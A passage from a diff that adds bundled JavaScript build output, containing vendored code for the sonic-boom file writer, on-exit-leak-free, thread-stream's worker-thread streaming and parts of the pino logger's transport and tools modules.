cb(err); + }); + } catch (err) { + cb(err); + } + } else { + this._flushPending = false; + cb(); + } + this.off("error", onError); + }; + const onError = (err) => { + this._flushPending = false; + cb(err); + this.off("drain", onDrain); + }; + this.once("drain", onDrain); + this.once("error", onError); + } + function flush(cb) { + if (cb != null && typeof cb !== "function") { + throw new Error("flush cb must be a function"); + } + if (this.destroyed) { + const error51 = new Error("SonicBoom destroyed"); + if (cb) { + cb(error51); + return; + } + throw error51; + } + if (this.minLength <= 0) { + cb?.(); + return; + } + if (cb) { + callFlushCallbackOnDrain.call(this, cb); + } + if (this._writing) { + return; + } + if (this._bufs.length === 0) { + this._bufs.push(""); + } + this._actualWrite(); + } + function flushBuffer(cb) { + if (cb != null && typeof cb !== "function") { + throw new Error("flush cb must be a function"); + } + if (this.destroyed) { + const error51 = new Error("SonicBoom destroyed"); + if (cb) { + cb(error51); + return; + } + throw error51; + } + if (this.minLength <= 0) { + cb?.(); + return; + } + if (cb) { + callFlushCallbackOnDrain.call(this, cb); + } + if (this._writing) { + return; + } + if (this._bufs.length === 0) { + this._bufs.push([]); + this._lens.push(0); + } + this._actualWrite(); + } + SonicBoom.prototype.reopen = function(file2) { + if (this.destroyed) { + throw new Error("SonicBoom destroyed"); + } + if (this._opening) { + this.once("ready", () => { + this.reopen(file2); + }); + return; + } + if (this._ending) { + return; + } + if (!this.file) { + throw new Error("Unable to reopen a file descriptor, you must pass a file to SonicBoom"); + } + if (file2) { + this.file = file2; + } + this._reopening = true; + if (this._writing) { + return; + } + const fd = this.fd; + this.once("ready", () => { + if (fd !== this.fd) { + fs2.close(fd, (err) => { + if (err) { + return this.emit("error", err); + } + }); + } + }); + openFile(this.file, this); + }; + SonicBoom.prototype.end = function() { + if (this.destroyed) { + throw new Error("SonicBoom destroyed"); + } + if (this._opening) { + this.once("ready", () => { + this.end(); + }); + return; + } + if (this._ending) { + return; + } + this._ending = true; + if (this._writing) { + return; + } + if (this._len > 0 && this.fd >= 0) { + this._actualWrite(); + } else { + actualClose(this); + } + }; + function flushSync() { + if (this.destroyed) { + throw new Error("SonicBoom destroyed"); + } + if (this.fd < 0) { + throw new Error("sonic boom is not ready yet"); + } + if (!this._writing && this._writingBuf.length > 0) { + this._bufs.unshift(this._writingBuf); + this._writingBuf = ""; + } + let buf = ""; + while (this._bufs.length || buf.length) { + if (buf.length <= 0) { + buf = this._bufs[0]; + } + try { + const n = Buffer.isBuffer(buf) ? fs2.writeSync(this.fd, buf) : fs2.writeSync(this.fd, buf, "utf8"); + const releasedBufObj = releaseWritingBuf(buf, this._len, n); + buf = releasedBufObj.writingBuf; + this._len = releasedBufObj.len; + if (buf.length <= 0) { + this._bufs.shift(); + } + } catch (err) { + const shouldRetry = err.code === "EAGAIN" || err.code === "EBUSY"; + if (shouldRetry && !this.retryEAGAIN(err, buf.length, this._len - buf.length)) { + throw err; + } + sleep(BUSY_WRITE_TIMEOUT); + } + } + try { + fs2.fsyncSync(this.fd); + } catch { + } + } + function flushBufferSync() { + if (this.destroyed) { + throw new Error("SonicBoom destroyed"); + } + if (this.fd < 0) { + throw new Error("sonic boom is not ready yet"); + } + if (!this._writing && this._writingBuf.length > 0) { + this._bufs.unshift([this._writingBuf]); + this._writingBuf = kEmptyBuffer; + } + let buf = kEmptyBuffer; + while (this._bufs.length || buf.length) { + if (buf.length <= 0) { + buf = mergeBuf(this._bufs[0], this._lens[0]); + } + try { + const n = fs2.writeSync(this.fd, buf); + buf = buf.subarray(n); + this._len = Math.max(this._len - n, 0); + if (buf.length <= 0) { + this._bufs.shift(); + this._lens.shift(); + } + } catch (err) { + const shouldRetry = err.code === "EAGAIN" || err.code === "EBUSY"; + if (shouldRetry && !this.retryEAGAIN(err, buf.length, this._len - buf.length)) { + throw err; + } + sleep(BUSY_WRITE_TIMEOUT); + } + } + } + SonicBoom.prototype.destroy = function() { + if (this.destroyed) { + return; + } + actualClose(this); + }; + function actualWrite() { + const release = this.release; + this._writing = true; + this._writingBuf = this._writingBuf.length ? this._writingBuf : this._bufs.shift() || ""; + if (this.sync) { + try { + const written = Buffer.isBuffer(this._writingBuf) ? fs2.writeSync(this.fd, this._writingBuf) : fs2.writeSync(this.fd, this._writingBuf, "utf8"); + release(null, written); + } catch (err) { + release(err); + } + } else { + fs2.write(this.fd, this._writingBuf, release); + } + } + function actualWriteBuffer() { + const release = this.release; + this._writing = true; + this._writingBuf = this._writingBuf.length ? this._writingBuf : mergeBuf(this._bufs.shift(), this._lens.shift()); + if (this.sync) { + try { + const written = fs2.writeSync(this.fd, this._writingBuf); + release(null, written); + } catch (err) { + release(err); + } + } else { + if (kCopyBuffer) { + this._writingBuf = Buffer.from(this._writingBuf); + } + fs2.write(this.fd, this._writingBuf, release); + } + } + function actualClose(sonic) { + if (sonic.fd === -1) { + sonic.once("ready", actualClose.bind(null, sonic)); + return; + } + if (sonic._periodicFlushTimer !== void 0) { + clearInterval(sonic._periodicFlushTimer); + } + sonic.destroyed = true; + sonic._bufs = []; + sonic._lens = []; + assert2(typeof sonic.fd === "number", `sonic.fd must be a number, got ${typeof sonic.fd}`); + try { + fs2.fsync(sonic.fd, closeWrapped); + } catch { + } + function closeWrapped() { + if (sonic.fd !== 1 && sonic.fd !== 2) { + fs2.close(sonic.fd, done); + } else { + done(); + } + } + function done(err) { + if (err) { + sonic.emit("error", err); + return; + } + if (sonic._ending && !sonic._writing) { + sonic.emit("finish"); + } + sonic.emit("close"); + } + } + SonicBoom.SonicBoom = SonicBoom; + SonicBoom.default = SonicBoom; + module.exports = SonicBoom; + } +}); + +// node_modules/.pnpm/on-exit-leak-free@2.1.2/node_modules/on-exit-leak-free/index.js +var require_on_exit_leak_free = __commonJS({ + "node_modules/.pnpm/on-exit-leak-free@2.1.2/node_modules/on-exit-leak-free/index.js"(exports, module) { + "use strict"; + var refs = { + exit: [], + beforeExit: [] + }; + var functions = { + exit: onExit, + beforeExit: onBeforeExit + }; + var registry2; + function ensureRegistry() { + if (registry2 === void 0) { + registry2 = new FinalizationRegistry(clear); + } + } + function install(event) { + if (refs[event].length > 0) { + return; + } + process.on(event, functions[event]); + } + function uninstall(event) { + if (refs[event].length > 0) { + return; + } + process.removeListener(event, functions[event]); + if (refs.exit.length === 0 && refs.beforeExit.length === 0) { + registry2 = void 0; + } + } + function onExit() { + callRefs("exit"); + } + function onBeforeExit() { + callRefs("beforeExit"); + } + function callRefs(event) { + for (const ref of refs[event]) { + const obj = ref.deref(); + const fn = ref.fn; + if (obj !== void 0) { + fn(obj, event); + } + } + refs[event] = []; + } + function clear(ref) { + for (const event of ["exit", "beforeExit"]) { + const index2 = refs[event].indexOf(ref); + refs[event].splice(index2, index2 + 1); + uninstall(event); + } + } + function _register(event, obj, fn) { + if (obj === void 0) { + throw new Error("the object can't be undefined"); + } + install(event); + const ref = new WeakRef(obj); + ref.fn = fn; + ensureRegistry(); + registry2.register(obj, ref); + refs[event].push(ref); + } + function register(obj, fn) { + _register("exit", obj, fn); + } + function registerBeforeExit(obj, fn) { + _register("beforeExit", obj, fn); + } + function unregister(obj) { + if (registry2 === void 0) { + return; + } + registry2.unregister(obj); + for (const event of ["exit", "beforeExit"]) { + refs[event] = refs[event].filter((ref) => { + const _obj = ref.deref(); + return _obj && _obj !== obj; + }); + uninstall(event); + } + } + module.exports = { + register, + registerBeforeExit, + unregister + }; + } +}); + +// node_modules/.pnpm/thread-stream@4.2.0/node_modules/thread-stream/package.json +var require_package = __commonJS({ + "node_modules/.pnpm/thread-stream@4.2.0/node_modules/thread-stream/package.json"(exports, module) { + module.exports = { + name: "thread-stream", + version: "4.2.0", + description: "A streaming way to send data to a Node.js Worker Thread", + main: "index.js", + types: "index.d.ts", + engines: { + node: ">=20" + }, + dependencies: { + "real-require": "^1.0.0" + }, + devDependencies: { + "@types/node": "^25.0.2", + "@yao-pkg/pkg": "^6.0.0", + borp: "^1.0.0", + desm: "^1.3.0", + eslint: "^9.39.1", + fastbench: "^1.0.1", + neostandard: "^0.13.0", + "pino-elasticsearch": "^9.0.0", + "sonic-boom": "^5.0.0", + "ts-node": "^10.8.0", + typescript: "~5.7.3" + }, + scripts: { + build: "tsc --noEmit", + lint: "eslint", + test: 'npm run lint && npm run build && npm run transpile && borp --pattern "test/*.test.{js,mjs}"', + "test:ci": 'npm run lint && npm run transpile && borp --pattern "test/*.test.{js,mjs}"', + "test:yarn": 'npm run transpile && borp --pattern "test/*.test.js"', + transpile: "sh ./test/ts/transpile.sh" + }, + repository: { + type: "git", + url: "git+https://github.com/mcollina/thread-stream.git" + }, + keywords: [ + "worker", + "thread", + "threads", + "stream" + ], + author: "Matteo Collina ", + license: "MIT", + bugs: { + url: "https://github.com/mcollina/thread-stream/issues" + }, + homepage: "https://github.com/mcollina/thread-stream#readme" + }; + } +}); + +// node_modules/.pnpm/thread-stream@4.2.0/node_modules/thread-stream/lib/wait.js +var require_wait = __commonJS({ + "node_modules/.pnpm/thread-stream@4.2.0/node_modules/thread-stream/lib/wait.js"(exports, module) { + "use strict"; + var WAIT_MS = 1e4; + function wait(state, index2, expected, timeout, done) { + const max = timeout === Infinity ? Infinity : Date.now() + timeout; + const check2 = () => { + const current = Atomics.load(state, index2); + if (current === expected) { + done(null, "ok"); + return; + } + if (max !== Infinity && Date.now() > max) { + done(null, "timed-out"); + return; + } + const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); + const result = Atomics.waitAsync(state, index2, current, remaining); + if (result.async) { + result.value.then(check2); + } else { + setImmediate(check2); + } + }; + check2(); + } + function waitDiff(state, index2, expected, timeout, done) { + const max = timeout === Infinity ? Infinity : Date.now() + timeout; + const check2 = () => { + const current = Atomics.load(state, index2); + if (current !== expected) { + done(null, "ok"); + return; + } + if (max !== Infinity && Date.now() > max) { + done(null, "timed-out"); + return; + } + const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); + const result = Atomics.waitAsync(state, index2, expected, remaining); + if (result.async) { + result.value.then((res) => { + if (res === "ok") { + done(null, "ok"); + return; + } + check2(); + }); + } else { + setImmediate(check2); + } + }; + check2(); + } + module.exports = { wait, waitDiff }; + } +}); + +// node_modules/.pnpm/thread-stream@4.2.0/node_modules/thread-stream/lib/indexes.js +var require_indexes = __commonJS({ + "node_modules/.pnpm/thread-stream@4.2.0/node_modules/thread-stream/lib/indexes.js"(exports, module) { + "use strict"; + var SEQ_INDEX = 2; + var WRITE_INDEX = 4; + var READ_INDEX = 8; + module.exports = { + WRITE_INDEX, + READ_INDEX, + SEQ_INDEX + }; + } +}); + +// node_modules/.pnpm/thread-stream@4.2.0/node_modules/thread-stream/index.js +var require_thread_stream = __commonJS({ + "node_modules/.pnpm/thread-stream@4.2.0/node_modules/thread-stream/index.js"(exports, module) { + "use strict"; + var { version: version3 } = require_package(); + var { EventEmitter } = __require("events"); + var { Worker } = __require("worker_threads"); + var { join } = __require("path"); + var { pathToFileURL } = __require("url"); + var { wait } = require_wait(); + var { + WRITE_INDEX, + READ_INDEX, + SEQ_INDEX + } = require_indexes(); + var buffer2 = __require("buffer"); + var assert2 = __require("assert"); + var kImpl = Symbol("kImpl"); + var MAX_STRING = buffer2.constants.MAX_STRING_LENGTH; + function noop3() { + } + function updateState(stream, fn) { + Atomics.add(stream[kImpl].state, SEQ_INDEX, 1); + fn(); + Atomics.add(stream[kImpl].state, SEQ_INDEX, 1); + Atomics.notify(stream[kImpl].state, SEQ_INDEX); + } + function resetIndexes(stream) { + updateState(stream, () => { + Atomics.store(stream[kImpl].state, READ_INDEX, 0); + Atomics.store(stream[kImpl].state, WRITE_INDEX, 0); + }); + } + var FakeWeakRef = class { + constructor(value) { + this._value = value; + } + deref() { + return this._value; + } + }; + var FakeFinalizationRegistry = class { + register() { + } + unregister() { + } + }; + var FinalizationRegistry2 = process.env.NODE_V8_COVERAGE ? FakeFinalizationRegistry : global.FinalizationRegistry || FakeFinalizationRegistry; + var WeakRef2 = process.env.NODE_V8_COVERAGE ? FakeWeakRef : global.WeakRef || FakeWeakRef; + var registry2 = new FinalizationRegistry2((worker) => { + if (worker.exited) { + return; + } + worker.terminate(); + }); + function createWorker(stream, opts) { + const { filename, workerData } = opts; + const bundlerOverrides = "__bundlerPathsOverrides" in globalThis ? globalThis.__bundlerPathsOverrides : {}; + const toExecute = bundlerOverrides["thread-stream-worker"] || join(__dirname, "lib", "worker.js"); + const worker = new Worker(toExecute, { + ...opts.workerOpts, + name: opts.workerOpts?.name || "thread-stream", + trackUnmanagedFds: false, + workerData: { + filename: filename.indexOf("file://") === 0 ? filename : pathToFileURL(filename).href, + dataBuf: stream[kImpl].dataBuf, + stateBuf: stream[kImpl].stateBuf, + workerData: { + $context: { + threadStreamVersion: version3 + }, + ...workerData + } + } + }); + worker.stream = new FakeWeakRef(stream); + worker.on("message", onWorkerMessage); + worker.on("exit", onWorkerExit); + registry2.register(stream, worker); + return worker; + } + function drain(stream) { + assert2(!stream[kImpl].sync); + if (stream[kImpl].needDrain) { + stream[kImpl].needDrain = false; + stream.emit("drain"); + } + } + function nextFlush(stream) { + while (true) { + const writeIndex = Atomics.load(stream[kImpl].state, WRITE_INDEX); + const leftover = stream[kImpl].data.length - writeIndex; + if (leftover > 0) { + if (stream[kImpl].bufLen === 0) { + stream[kImpl].flushing = false; + if (stream[kImpl].ending) { + end(stream); + } else if (stream[kImpl].needDrain) { + process.nextTick(drain, stream); + } + return; + } + write(stream, leftover, noop3); + continue; + } + if (leftover === 0) { + if (writeIndex === 0 && stream[kImpl].bufLen === 0) { + return; + } + waitForRead(stream, () => { + if (stream.destroyed) { + return; + } + resetIndexes(stream); + nextFlush(stream); + }); + return; + } + destroy(stream, new Error("overwritten")); + return; + } + } + function onWorkerMessage(msg) { + const stream = this.stream.deref(); + if (stream === void 0) { + this.exited = true; + this.terminate(); + return; + } + if (msg?.code == null) { + return; + } + switch (msg.code) { + case "READY": + this.stream = new WeakRef2(stream); + waitForRead(stream, () => { + stream[kImpl].ready = true; + stream.emit("ready"); + }); + break; + case "ERROR": + destroy(stream, msg.err); + break; + case "EVENT": + if (Array.isArray(msg.args)) { + stream.emit(msg.name, ...msg.args); + } else { + stream.emit(msg.name, msg.args); + } + break; + case "FLUSHED": { + if (msg.context !== "thread-stream") { + destroy(stream, new Error("this should not happen: " + msg.code)); + break; + } + const cb = stream[kImpl].flushCallbacks.get(msg.id); + if (cb) { + stream[kImpl].flushCallbacks.delete(msg.id); + process.nextTick(cb); + } + break; + } + case "WARNING": + process.emitWarning(msg.err); + break; + default: + destroy(stream, new Error("this should not happen: " + msg.code)); + } + } + function onWorkerExit(code) { + const stream = this.stream.deref(); + if (stream === void 0) { + return; + } + registry2.unregister(stream); + stream.worker.exited = true; + stream.worker.off("exit", onWorkerExit); + destroy(stream, code !== 0 ? new Error("the worker thread exited") : null); + } + var ThreadStream = class extends EventEmitter { + constructor(opts = {}) { + super(); + if (opts.bufferSize < 4) { + throw new Error("bufferSize must at least fit a 4-byte utf-8 char"); + } + this[kImpl] = {}; + this[kImpl].stateBuf = new SharedArrayBuffer(128); + this[kImpl].state = new Int32Array(this[kImpl].stateBuf); + this[kImpl].dataBuf = new SharedArrayBuffer(opts.bufferSize || 4 * 1024 * 1024); + this[kImpl].data = Buffer.from(this[kImpl].dataBuf); + this[kImpl].sync = opts.sync || false; + this[kImpl].ending = false; + this[kImpl].ended = false; + this[kImpl].needDrain = false; + this[kImpl].destroyed = false; + this[kImpl].flushing = false; + this[kImpl].ready = false; + this[kImpl].finished = false; + this[kImpl].errored = null; + this[kImpl].closed = false; + this[kImpl].buf = []; + this[kImpl].bufHead = 0; + this[kImpl].bufLen = 0; + this[kImpl].flushCallbacks = /* @__PURE__ */ new Map(); + this[kImpl].nextFlushId = 0; + this.worker = createWorker(this, opts); + this.on("message", (message2, transferList) => { + this.worker.postMessage(message2, transferList); + }); + } + write(data) { + const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); + if (this[kImpl].destroyed) { + error51(this, new Error("the worker has exited")); + return false; + } + if (this[kImpl].ending) { + error51(this, new Error("the worker is ending")); + return false; + } + if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { + try { + writeSync(this); + this[kImpl].flushing = true; + } catch (err) { + destroy(this, err); + return false; + } + } + this[kImpl].buf.push(dataBuf); + this[kImpl].bufLen += dataBuf.length; + if (this[kImpl].sync) { + try { + writeSync(this); + return true; + } catch (err) { + destroy(this, err); + return false; + } + } + if (!this[kImpl].flushing) { + this[kImpl].flushing = true; + setImmediate(nextFlush, this); + } + this[kImpl].needDrain = this[kImpl].data.length - this[kImpl].bufLen - Atomics.load(this[kImpl].state, WRITE_INDEX) <= 0; + return !this[kImpl].needDrain; + } + end() { + if (this[kImpl].destroyed) { + return; + } + this[kImpl].ending = true; + end(this); + } + flush(cb) { + cb = typeof cb === "function" ? cb : noop3; + flushBuffer(this, (err) => { + if (err) { + process.nextTick(cb, err); + return; + } + requestWorkerFlush(this, cb); + }); + } + flushSync() { + if (this[kImpl].destroyed) { + return; + } + writeSync(this); + flushSync(this); + } + unref() { + this.worker.unref(); + } + ref() { + this.worker.ref(); + } + get ready() { + return this[kImpl].ready; + } + get destroyed() { + return this[kImpl].destroyed; + } + get closed() { + return this[kImpl].closed; + } + get writable() { + return !this[kImpl].destroyed && !this[kImpl].ending; + } + get writableEnded() { + return this[kImpl].ending; + } + get writableFinished() { + return this[kImpl].finished; + } + get writableNeedDrain() { + return this[kImpl].needDrain; + } + get writableObjectMode() { + return false; + } + get writableErrored() { + return this[kImpl].errored; + } + }; + function flushBuffer(stream, cb) { + if (stream[kImpl].destroyed) { + process.nextTick(cb, new Error("the worker has exited")); + return; + } + if (!stream[kImpl].sync && (stream[kImpl].flushing || stream[kImpl].bufLen > 0)) { + setImmediate(flushBuffer, stream, cb); + return; + } + waitForRead(stream, cb); + } + function waitForRead(stream, cb) { + const writeIndex = Atomics.load(stream[kImpl].state, WRITE_INDEX); + wait(stream[kImpl].state, READ_INDEX, writeIndex, Infinity, (err, res) => { + if (err) { + destroy(stream, err); + cb(err); + return; + } + if (res !== "ok") { + waitForRead(stream, cb); + return; + } + cb(); + }); + } + function requestWorkerFlush(stream, cb) { + if (stream[kImpl].destroyed) { + process.nextTick(cb, new Error("the worker has exited")); + return; + } + if (!stream[kImpl].ready) { + const onReady = () => { + cleanup(); + requestWorkerFlush(stream, cb); + }; + const onClose = () => { + cleanup(); + process.nextTick(cb, new Error("the worker has exited")); + }; + const cleanup = () => { + stream.off("ready", onReady); + stream.off("close", onClose); + }; + stream.once("ready", onReady); + stream.once("close", onClose); + return; + } + const id = ++stream[kImpl].nextFlushId; + stream[kImpl].flushCallbacks.set(id, cb); + try { + stream.worker.postMessage({ + code: "FLUSH", + context: "thread-stream", + id + }); + } catch (err) { + stream[kImpl].flushCallbacks.delete(id); + destroy(stream, err); + process.nextTick(cb, err); + } + } + function failPendingFlushCallbacks(stream, err) { + const callbacks = stream[kImpl].flushCallbacks; + if (callbacks.size === 0) { + return; + } + const flushErr = err || new Error("the worker has exited"); + for (const cb of callbacks.values()) { + process.nextTick(cb, flushErr); + } + callbacks.clear(); + } + function error51(stream, err) { + setImmediate(() => { + stream.emit("error", err); + }); + } + function destroy(stream, err) { + if (stream[kImpl].destroyed) { + return; + } + stream[kImpl].destroyed = true; + failPendingFlushCallbacks(stream, err); + if (err) { + stream[kImpl].errored = err; + error51(stream, err); + } + if (!stream.worker.exited) { + stream.worker.terminate().catch(() => { + }).then(() => { + stream[kImpl].closed = true; + stream.emit("close"); + }); + } else { + setImmediate(() => { + stream[kImpl].closed = true; + stream.emit("close"); + }); + } + } + function write(stream, maxBytes, cb) { + const current = Atomics.load(stream[kImpl].state, WRITE_INDEX); + let offset = current; + let remaining = maxBytes; + while (remaining > 0 && stream[kImpl].bufLen !== 0) { + const head = stream[kImpl].bufHead; + const buf = stream[kImpl].buf[head]; + if (buf.length <= remaining) { + buf.copy(stream[kImpl].data, offset); + offset += buf.length; + remaining -= buf.length; + stream[kImpl].bufLen -= buf.length; + stream[kImpl].bufHead = head + 1; + if (stream[kImpl].bufHead === stream[kImpl].buf.length) { + stream[kImpl].buf.length = 0; + stream[kImpl].bufHead = 0; + } else if (stream[kImpl].bufHead >= 1024 && stream[kImpl].bufHead * 2 >= stream[kImpl].buf.length) { + stream[kImpl].buf.splice(0, stream[kImpl].bufHead); + stream[kImpl].bufHead = 0; + } + continue; + } + buf.copy(stream[kImpl].data, offset, 0, remaining); + stream[kImpl].buf[head] = buf.subarray(remaining); + stream[kImpl].bufLen -= remaining; + offset += remaining; + remaining = 0; + } + updateState(stream, () => { + Atomics.store(stream[kImpl].state, WRITE_INDEX, offset); + }); + cb(); + return true; + } + function end(stream) { + if (stream[kImpl].ended || !stream[kImpl].ending || stream[kImpl].flushing) { + return; + } + stream[kImpl].ended = true; + try { + stream.flushSync(); + let readIndex = Atomics.load(stream[kImpl].state, READ_INDEX); + updateState(stream, () => { + Atomics.store(stream[kImpl].state, WRITE_INDEX, -1); + }); + let spins = 0; + while (readIndex !== -1) { + Atomics.wait(stream[kImpl].state, READ_INDEX, readIndex, 1e3); + readIndex = Atomics.load(stream[kImpl].state, READ_INDEX); + if (readIndex === -2) { + destroy(stream, new Error("end() failed")); + return; + } + if (++spins === 10) { + destroy(stream, new Error("end() took too long (10s)")); + return; + } + } + process.nextTick(() => { + stream[kImpl].finished = true; + stream.emit("finish"); + }); + } catch (err) { + destroy(stream, err); + } + } + function writeSync(stream) { + const cb = () => { + if (stream[kImpl].ending) { + end(stream); + } else if (stream[kImpl].needDrain) { + process.nextTick(drain, stream); + } + }; + stream[kImpl].flushing = false; + while (stream[kImpl].bufLen !== 0) { + const writeIndex = Atomics.load(stream[kImpl].state, WRITE_INDEX); + const leftover = stream[kImpl].data.length - writeIndex; + if (leftover === 0) { + flushSync(stream); + resetIndexes(stream); + continue; + } else if (leftover < 0) { + throw new Error("overwritten"); + } + write(stream, leftover, cb); + } + } + function flushSync(stream) { + if (stream[kImpl].flushing) { + throw new Error("unable to flush while flushing"); + } + const writeIndex = Atomics.load(stream[kImpl].state, WRITE_INDEX); + let spins = 0; + while (true) { + const readIndex = Atomics.load(stream[kImpl].state, READ_INDEX); + if (readIndex === -2) { + throw Error("_flushSync failed"); + } + if (readIndex !== writeIndex) { + Atomics.wait(stream[kImpl].state, READ_INDEX, readIndex, 1e3); + } else { + break; + } + if (++spins === 10) { + throw new Error("_flushSync took too long (10s)"); + } + } + } + module.exports = ThreadStream; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/transport.js +var require_transport = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/transport.js"(exports, module) { + "use strict"; + var { createRequire } = __require("module"); + var { existsSync } = __require("node:fs"); + var getCallers = require_caller(); + var { join, isAbsolute, sep } = __require("node:path"); + var { fileURLToPath } = __require("node:url"); + var sleep = require_atomic_sleep(); + var onExit = require_on_exit_leak_free(); + var ThreadStream = require_thread_stream(); + function setupOnExit(stream) { + onExit.register(stream, autoEnd); + onExit.registerBeforeExit(stream, flush); + stream.on("close", function() { + onExit.unregister(stream); + }); + } + function hasPreloadFlags() { + const execArgv = process.execArgv; + for (let i = 0; i < execArgv.length; i++) { + const arg = execArgv[i]; + if (arg === "--import" || arg === "--require" || arg === "-r") { + return true; + } + if (arg.startsWith("--import=") || arg.startsWith("--require=") || arg.startsWith("-r=")) { + return true; + } + } + return false; + } + function sanitizeNodeOptions(nodeOptions) { + const tokens = nodeOptions.match(/(?:[^\s"']+|"[^"]*"|'[^']*')+/g); + if (!tokens) { + return nodeOptions; + } + const sanitized = []; + let changed = false; + for (let i = 0; i < tokens.length; i++) { + const token = tokens[i]; + if (token === "--require" || token === "-r" || token === "--import") { + const next = tokens[i + 1]; + if (next && shouldDropPreload(next)) { + changed = true; + i++; + continue; + } + sanitized.push(token); + if (next) { + sanitized.push(next); + i++; + } + continue; + } + if (token.startsWith("--require=") || token.startsWith("-r=") || token.startsWith("--import=")) { + const value = token.slice(token.indexOf("=") + 1); + if (shouldDropPreload(value)) { + changed = true; + continue; + } + } + sanitized.push(token); + } + return changed ? sanitized.join(" ") : nodeOptions; + } + function shouldDropPreload(value) { + const unquoted = stripQuotes(value); + if (!unquoted) { + return false; + } + let path = unquoted; + if (path.startsWith("file://")) { + try { + path = fileURLToPath(path); + } catch { + return false; + } + } + return isAbsolute(path) && !existsSync(path); + } + function stripQuotes(value) { + const first = value[0]; + const last = value[value.length - 1]; + if (first === '"' && last === '"' || first === "'" && last === "'") { + return value.slice(1, -1); + } + return value; + } + function buildStream(filename, workerData, workerOpts, sync, name) { + if (!workerOpts.execArgv && hasPreloadFlags() && __require.main === void 0) { + workerOpts = { + ...workerOpts, + execArgv: [] + }; + } + if (!workerOpts.env && process.env.NODE_OPTIONS) { + const nodeOptions = sanitizeNodeOptions(process.env.NODE_OPTIONS); + if (nodeOptions !== process.env.NODE_OPTIONS) { + workerOpts = { + ...workerOpts, + env: { + ...process.env, + NODE_OPTIONS: nodeOptions + } + }; + } + } + workerOpts = { ...workerOpts, name }; + const stream = new ThreadStream({ + filename, + workerData, + workerOpts, + sync + }); + stream.on("ready", onReady); + stream.on("close", function() { + process.removeListener("exit", onExit2); + }); + process.on("exit", onExit2); + function onReady() { + process.removeListener("exit", onExit2); + stream.unref(); + if (workerOpts.autoEnd !== false) { + setupOnExit(stream); + } + } + function onExit2() { + if (stream.closed) { + return; + } + stream.flushSync(); + sleep(100); + stream.end(); + } + return stream; + } + function autoEnd(stream) { + stream.ref(); + stream.flushSync(); + stream.end(); + stream.once("close", function() { + stream.unref(); + }); + } + function flush(stream) { + stream.flushSync(); + } + function transport(fullOptions) { + const { pipeline, targets, levels, dedupe, worker = {}, caller = getCallers(), sync = false } = fullOptions; + const options = { + ...fullOptions.options + }; + const callers = typeof caller === "string" ? [caller] : caller; + const bundlerOverrides = typeof globalThis === "object" && Object.prototype.hasOwnProperty.call(globalThis, "__bundlerPathsOverrides") && globalThis.__bundlerPathsOverrides && typeof globalThis.__bundlerPathsOverrides === "object" ? globalThis.__bundlerPathsOverrides : /* @__PURE__ */ Object.create(null); + let target = fullOptions.target; + if (target && targets) { + throw new Error("only one of target or targets can be specified"); + } + if (targets) { + target = bundlerOverrides["pino-worker"] || join(__dirname, "worker.js"); + options.targets = targets.filter((dest) => dest.target).map((dest) => { + return { + ...dest, + target: fixTarget(dest.target) + }; + }); + options.pipelines = targets.filter((dest) => dest.pipeline).map((dest) => { + return dest.pipeline.map((t) => { + return { + ...t, + level: dest.level, + // duplicate the pipeline `level` property defined in the upper level + target: fixTarget(t.target) + }; + }); + }); + } else if (pipeline) { + target = bundlerOverrides["pino-worker"] || join(__dirname, "worker.js"); + options.pipelines = [pipeline.map((dest) => { + return { + ...dest, + target: fixTarget(dest.target) + }; + })]; + } + if (levels) { + options.levels = levels; + } + if (dedupe) { + options.dedupe = dedupe; + } + options.pinoWillSendConfig = true; + const name = targets || pipeline ? "pino.transport" : target; + return buildStream(fixTarget(target), options, worker, sync, name); + function fixTarget(origin) { + origin = bundlerOverrides[origin] || origin; + if (isAbsolute(origin) || origin.indexOf("file://") === 0) { + return origin; + } + if (origin === "pino/file") { + return join(__dirname, "..", "file.js"); + } + let fixTarget2; + for (const filePath of callers) { + try { + const context2 = filePath === "node:repl" ? process.cwd() + sep : filePath; + fixTarget2 = createRequire(context2).resolve(origin); + break; + } catch (err) { + continue; + } + } + if (!fixTarget2) { + throw new Error(`unable to determine transport target for "${origin}"`); + } + return fixTarget2; + } + } + module.exports = transport; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/tools.js +var require_tools = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/tools.js"(exports, module) { + "use strict"; + var diagChan = __require("node:diagnostics_channel"); + var format = require_quick_format_unescaped(); + var { mapHttpRequest, mapHttpResponse } = require_pino_std_serializers(); + var SonicBoom = require_sonic_boom(); + var onExit = require_on_exit_leak_free(); + var { + lsCacheSym, + chindingsSym, + writeSym, + serializersSym, + formatOptsSym, + endSym, + stringifiersSym, + stringifySym, + stringifySafeSym, + wildcardFirstSym, + nestedKeySym, + formattersSym, + messageKeySym, + errorKeySym, + nestedKeyStrSym, + msgPrefixSym + } = require_symbols(); + var { isMainThread } = __require("worker_threads"); + var transport = require_transport(); + var [nodeMajor] = process.versions.node.split(".").map((v) => Number(v)); + var asJsonChan = diagChan.tracingChannel("pino_asJson"); + var asString = nodeMajor >= 25 ? (str) => JSON.stringify(str) : _asString; + function noop3() { + } + function genLog(level, hook) { + if (!hook) return LOG; + return function hookWrappedLog(...args) { + hook.call(this, args, LOG, level); + }; + function LOG(o, ...n) { + if (typeof o === "object") { + let msg = o; + if (o !== null) { + if (o.method && o.headers && o.socket) { + o = mapHttpRequest(o); + } else if (typeof o.setHeader === "function") { + o = mapHttpResponse(o); + } + } + let formatParams; + if (msg === null && n.length === 0) { + formatParams = [null]; + } else { + msg = n.shift(); + formatParams = n; + } + if (typeof this[msgPrefixSym] === "string" && msg !== void 0 && msg !== null) { + msg = this[msgPrefixSym] + msg; + } + this[writeSym](o, format(msg, formatParams, this[formatOptsSym]), level); + } else { + let msg = o === void 0 ? n.shift() : o; + if (typeof this[msgPrefixSym] === "string" && msg !== void 0 && msg !== null) { + msg = this[msgPrefixSym] + msg; + } + this[writeSym](null, format(msg, n, this[formatOptsSym]), level); + } + } + } + function _asString(str) { + let result = ""; + let last = 0; + let found = false; + let point2 = 255; + const l = str.length; + if (l > 100) { + return JSON.stringify(str); + } + for (var i = 0; i < l && point2 >= 32; i++) { + point2 